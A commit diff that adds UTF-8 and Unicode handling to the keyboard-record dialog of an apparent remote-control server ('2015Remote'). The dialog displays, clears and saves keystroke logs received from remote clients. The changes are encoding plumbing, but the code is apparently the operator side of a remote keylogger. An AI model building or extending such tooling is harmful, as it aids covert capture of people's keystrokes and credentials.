i18n: UTF-8 protocol capability + Unicode rendering on server
This commit is contained in:
@@ -3,7 +3,9 @@
|
||||
|
||||
#include "stdafx.h"
|
||||
#include <WinUser.h>
|
||||
#include <string>
|
||||
#include "KeyBoardDlg.h"
|
||||
#include "2015RemoteDlg.h" // GetClientEncoding helper
|
||||
|
||||
#ifdef _DEBUG
|
||||
#define new DEBUG_NEW
|
||||
@@ -22,7 +24,18 @@ static char THIS_FILE[] = __FILE__;
|
||||
CKeyBoardDlg::CKeyBoardDlg(CWnd* pParent, Server* pIOCPServer, ClientContext *pContext)
|
||||
: DialogBase(CKeyBoardDlg::IDD, pParent, pIOCPServer, pContext, IDI_KEYBOARD)
|
||||
{
|
||||
m_bIsOfflineRecord = (BYTE)m_ContextObject->m_DeCompressionBuffer.GetBuffer(0)[1];
|
||||
m_bIsOfflineRecord = m_ContextObject->m_DeCompressionBuffer.GetBYTE(1);
|
||||
|
||||
// 子连接从协议扩展字段(byte 2-3)拿到能力位,写入自身的 CAPABILITIES。
|
||||
// 这样 m_ContextObject->SupportsUtf8() 可直接生效,不再依赖 IP 反查主连接。
|
||||
// 老客户端只发 2 字节,GetBYTE 越界返回 0,等同 caps=0 -> 走 CP936 兜底,向后兼容。
|
||||
WORD caps = m_ContextObject->m_DeCompressionBuffer.GetBYTE(2)
|
||||
| (m_ContextObject->m_DeCompressionBuffer.GetBYTE(3) << 8);
|
||||
if (caps != 0) {
|
||||
CString capStr;
|
||||
capStr.Format(_T("%04X"), caps);
|
||||
m_ContextObject->SetClientData(ONLINELIST_CAPABILITIES, capStr);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -73,6 +86,32 @@ BOOL CKeyBoardDlg::OnInitDialog()
|
||||
|
||||
UpdateTitle();
|
||||
|
||||
// -----------------------------------------------------------------
|
||||
// 把 m_edit 重建为 Unicode 类窗口。
|
||||
// 工程是 MBCS,MFC 默认用 A 版 CreateWindowEx 创建子控件,导致即便
|
||||
// 调 SendMessageW(EM_REPLACESEL,...) 系统也会在 W->A 边界用 CP_ACP
|
||||
// 转码,德语机器上中文窗口标题仍会乱码。直接用 CreateWindowExW 重建
|
||||
// 后,控件内部以 Unicode 存储,W 版消息直通,不再走 CP_ACP。
|
||||
// -----------------------------------------------------------------
|
||||
{
|
||||
CRect rc;
|
||||
m_edit.GetWindowRect(&rc);
|
||||
ScreenToClient(&rc);
|
||||
DWORD style = m_edit.GetStyle();
|
||||
DWORD exStyle = m_edit.GetExStyle();
|
||||
HFONT hFont = (HFONT)m_edit.SendMessage(WM_GETFONT, 0, 0);
|
||||
UINT ctrlID = m_edit.GetDlgCtrlID();
|
||||
m_edit.DestroyWindow();
|
||||
HWND hEdit = ::CreateWindowExW(
|
||||
exStyle, L"EDIT", L"", style,
|
||||
rc.left, rc.top, rc.Width(), rc.Height(),
|
||||
this->GetSafeHwnd(), (HMENU)(UINT_PTR)ctrlID,
|
||||
AfxGetInstanceHandle(), NULL);
|
||||
m_edit.Attach(hEdit);
|
||||
if (hFont)
|
||||
m_edit.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
|
||||
}
|
||||
|
||||
m_edit.SetLimitText(MAXDWORD); // 设置最大长度
|
||||
|
||||
// 通知远程控制端对话框已经打开
|
||||
@@ -110,9 +149,33 @@ void CKeyBoardDlg::AddKeyBoardData()
|
||||
{
|
||||
// 最后填上0
|
||||
m_ContextObject->m_DeCompressionBuffer.Write((LPBYTE)"", 1);
|
||||
int len = m_edit.GetWindowTextLength();
|
||||
m_edit.SetSel(len, len);
|
||||
m_edit.ReplaceSel((TCHAR *)m_ContextObject->m_DeCompressionBuffer.GetBuffer(1));
|
||||
const char* utf8 = (const char*)m_ContextObject->m_DeCompressionBuffer.GetBuffer(1);
|
||||
if (!utf8 || !utf8[0])
|
||||
return;
|
||||
|
||||
// 客户端编码由能力位 CLIENT_CAP_UTF8 决定。
|
||||
// 注意:m_ContextObject 是键盘记录子连接,其自身 CAPABILITIES 为空;
|
||||
// helper 内部通过 peer IP 查主连接获取真正的能力位。
|
||||
UINT cp = GetClientEncoding(m_ContextObject);
|
||||
int wlen = MultiByteToWideChar(cp, 0, utf8, -1, NULL, 0);
|
||||
if (wlen <= 1)
|
||||
return;
|
||||
std::wstring wbuf(wlen - 1, L'\0');
|
||||
MultiByteToWideChar(cp, 0, utf8, -1, &wbuf[0], wlen);
|
||||
|
||||
// 全程走 W 版消息直通 Unicode 控件。注意几个坑:
|
||||
// 1) MFC 的 m_edit.SetSel(...) 默认走 ::SendMessage (A 版) 并紧跟一次
|
||||
// EM_SCROLLCARET,时序变成 "SetSel→ScrollCaret→ReplaceSel",即
|
||||
// 先滚到旧末尾、再插入,部分场景控件状态会错乱(光标不在末尾、
|
||||
// 用户手动移动光标后插入位置不对等)。
|
||||
// 2) EM_SETSEL 用 0x7FFFFFFF 表示"末尾",由控件自行 clamp 到当前长度,
|
||||
// 不依赖 WM_GETTEXTLENGTH 计算结果。
|
||||
// 3) ReplaceSel 后再 ScrollCaret,确保滚到 *新* 末尾。
|
||||
HWND hEdit = m_edit.GetSafeHwnd();
|
||||
if (!hEdit) return;
|
||||
::SendMessageW(hEdit, EM_SETSEL, (WPARAM)0x7FFFFFFF, (LPARAM)0x7FFFFFFF);
|
||||
::SendMessageW(hEdit, EM_REPLACESEL, FALSE, (LPARAM)wbuf.c_str());
|
||||
::SendMessageW(hEdit, EM_SCROLLCARET, 0, 0);
|
||||
}
|
||||
|
||||
bool CKeyBoardDlg::SaveRecord()
|
||||
@@ -129,10 +192,30 @@ bool CKeyBoardDlg::SaveRecord()
|
||||
MessageBox(msg, _TR("提示"), MB_ICONINFORMATION);
|
||||
return false;
|
||||
}
|
||||
// Write the DIB header and the bits
|
||||
CString strRecord;
|
||||
m_edit.GetWindowText(strRecord);
|
||||
file.Write(strRecord, strRecord.GetLength());
|
||||
|
||||
// m_edit 已是 Unicode 控件:用 W 版取宽字符串,转 UTF-8 写入并加 BOM。
|
||||
// 这样保存的文件无视服务端 ACP,记事本/VS Code 等都能自动识别。
|
||||
int wlen = ::GetWindowTextLengthW(m_edit.GetSafeHwnd());
|
||||
std::wstring wbuf;
|
||||
if (wlen > 0) {
|
||||
wbuf.resize(wlen);
|
||||
::GetWindowTextW(m_edit.GetSafeHwnd(), &wbuf[0], wlen + 1);
|
||||
}
|
||||
|
||||
// UTF-8 BOM
|
||||
const BYTE bom[3] = { 0xEF, 0xBB, 0xBF };
|
||||
file.Write(bom, 3);
|
||||
|
||||
if (!wbuf.empty()) {
|
||||
int u8len = WideCharToMultiByte(CP_UTF8, 0, wbuf.c_str(), wlen,
|
||||
NULL, 0, NULL, NULL);
|
||||
if (u8len > 0) {
|
||||
std::string u8(u8len, '\0');
|
||||
WideCharToMultiByte(CP_UTF8, 0, wbuf.c_str(), wlen,
|
||||
&u8[0], u8len, NULL, NULL);
|
||||
file.Write(u8.data(), (UINT)u8.size());
|
||||
}
|
||||
}
|
||||
file.Close();
|
||||
|
||||
return true;
|
||||
@@ -156,7 +239,8 @@ void CKeyBoardDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
||||
} else if (nID == IDM_CLEAR_RECORD) {
|
||||
BYTE bToken = COMMAND_KEYBOARD_CLEAR;
|
||||
m_ContextObject->Send2Client(&bToken, 1);
|
||||
m_edit.SetWindowText("");
|
||||
// m_edit 是 Unicode 类控件,调 W 版避免 CP_ACP 边界转换
|
||||
::SetWindowTextW(m_edit.GetSafeHwnd(), L"");
|
||||
} else if (nID == IDM_SAVE_RECORD) {
|
||||
SaveRecord();
|
||||
} else {
|
||||
|
||||
Reference in New Issue
Block a user